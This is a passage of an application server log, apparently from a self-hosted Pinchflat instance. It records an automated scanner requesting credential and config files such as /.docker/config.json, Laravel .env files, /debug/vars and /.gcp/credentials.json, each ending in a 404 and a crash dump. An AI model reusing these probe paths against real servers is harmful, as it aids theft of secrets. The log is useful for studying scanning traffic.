Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.docker/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.docker/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47188}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9796.0>, params: %{}, path_info: [".docker", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.docker/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate" (truncated) 15:22:06.481 [info] GET /storage/framework/.env 15:22:06.482 [debug] QUERY OK source="settings" db=0.1ms idle=713.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:06.482 [debug] QUERY OK source="settings" db=0.0ms idle=476.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:06.482 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:06.482 [error] #PID<0.9798.0> running PinchflatWeb.Endpoint (connection #PID<0.9797.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /storage/framework/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/framework/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9797.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/framework/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47192}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9798.0>, params: %{}, path_info: ["storage", "framework", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/storage/framework/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB2w5Z0ZZu3YAAdsC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9797.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/framework/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47192}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/framework/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9797.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/framework/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47192}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9798.0>, params: %{}, path_info: ["storage", "framework", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/storage/framework/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control (truncated) 15:22:06.716 [info] GET /laravel/.env 15:22:06.716 [debug] QUERY OK source="settings" db=0.1ms idle=469.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:06.716 [debug] QUERY OK source="settings" db=0.0ms idle=469.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:06.716 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:06.716 [error] #PID<0.9800.0> running PinchflatWeb.Endpoint (connection #PID<0.9799.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /laravel/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9799.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47194}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9800.0>, params: %{}, path_info: ["laravel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/laravel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB3ozekkOkVkAAdtC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9799.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47194}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9799.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47194}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9800.0>, params: %{}, path_info: ["laravel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/laravel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB3ozekkOkVkAAdtC"} (truncated) 15:22:06.950 [info] GET /debug/vars 15:22:06.951 [debug] QUERY OK source="settings" db=0.0ms idle=468.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:06.951 [debug] QUERY OK source="settings" db=0.0ms idle=468.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:06.951 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:06.951 [error] #PID<0.9802.0> running PinchflatWeb.Endpoint (connection #PID<0.9801.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /debug/vars ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/vars (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9801.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/vars", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47204}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9802.0>, params: %{}, path_info: ["debug", "vars"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/debug/vars", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB4guWeHf3CcAAduC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9801.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/vars", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47204}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/vars (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9801.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/vars", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47204}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9802.0>, params: %{}, path_info: ["debug", "vars"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/debug/vars", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB4guWeHf3CcAAduC"} ], (truncated) 15:22:07.208 [info] GET /.gcp/credentials.json 15:22:07.209 [debug] QUERY OK source="settings" db=0.1ms idle=683.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:07.209 [debug] QUERY OK source="settings" db=0.0ms idle=492.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:07.209 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:07.209 [error] #PID<0.9804.0> running PinchflatWeb.Endpoint (connection #PID<0.9803.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.gcp/credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.gcp/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9803.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gcp/credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47216}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9804.0>, params: %{}, path_info: [".gcp", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.gcp/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB5eQkWflRs0AAdvC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, 